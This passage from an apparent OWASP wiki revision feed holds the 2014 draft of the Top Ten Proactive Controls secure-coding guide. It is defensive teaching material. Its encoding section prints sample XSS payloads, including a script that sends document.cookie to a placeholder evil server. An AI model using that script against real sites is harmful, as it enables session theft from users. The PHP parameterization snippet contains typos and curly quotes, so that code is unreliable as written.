* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. &lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet&lt;br /&gt;
* https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model&lt;br /&gt;
* https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project&lt;br /&gt;
* https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* https://www.owasp.org/index.php/Threat_Modeling_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Additional References ==&lt;br /&gt;
&lt;br /&gt;
[[OWASP Top Ten Project]]&amp;lt;br/&amp;gt;&lt;br /&gt;
[[OWASP Mobile Security Project]]&amp;lt;br/&amp;gt;&lt;br /&gt;
[[OWASP Secure Coding Practices - Quick Reference Guide]]&amp;lt;br/&amp;gt;&lt;br /&gt;
[[OWASP Cornucopia]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of April : Complete community review process&amp;lt;br/&amp;gt;&lt;br /&gt;
End of May : Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=172311</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=172311"/>
				<updated>2014-04-10T19:29:07Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls complete document here].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to Cross Site Scripting. Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include unix encoding, windows encoding, LDAP encoding, XML encoding and others.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_Java_Encoder_Project&lt;br /&gt;
* https://www.owasp.org/index.php/Category:OWASP_EnDe&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_JSON_Sanitizer&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer&lt;br /&gt;
* https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_EJSF_Project&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused. Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a users role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* https://www.owasp.org/index.php/OWASP_PHPRBAC_Project&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the Google KeyCzar project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issue in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* https://www.owasp.org/index.php/O-Saft&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging, Error Handling and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. &lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
